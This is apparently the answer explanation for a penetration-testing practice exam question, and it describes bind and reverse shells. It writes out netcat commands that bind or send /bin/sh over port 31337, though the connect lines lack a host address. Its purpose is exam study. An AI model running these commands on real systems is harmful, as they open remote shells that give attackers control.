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The correct answer is C.

OBJ-4.3: A bind shell is established when a victim system “binds” its shell to a local network port. To achieve this using netcat, you should execute the command “nc -lp 31337 -e /bin/sh” on the victim machine. This sets up a listener on the machine on port 31337 and will execute the /bin/sh when another machine connects to its listener on port 31337. The attacker would enter the command “nc 31337” to connect to the victim’s bind shell. A reverse shell is established when the target machine communicates with an attack machine listening on a specific port. To set up a listener on the attack machine, you would use the command “nc -lp 31337” on it. To connect to the attacking machine from the victim machine, you would enter the command “nc 31337 –e /bin/sh” on it.

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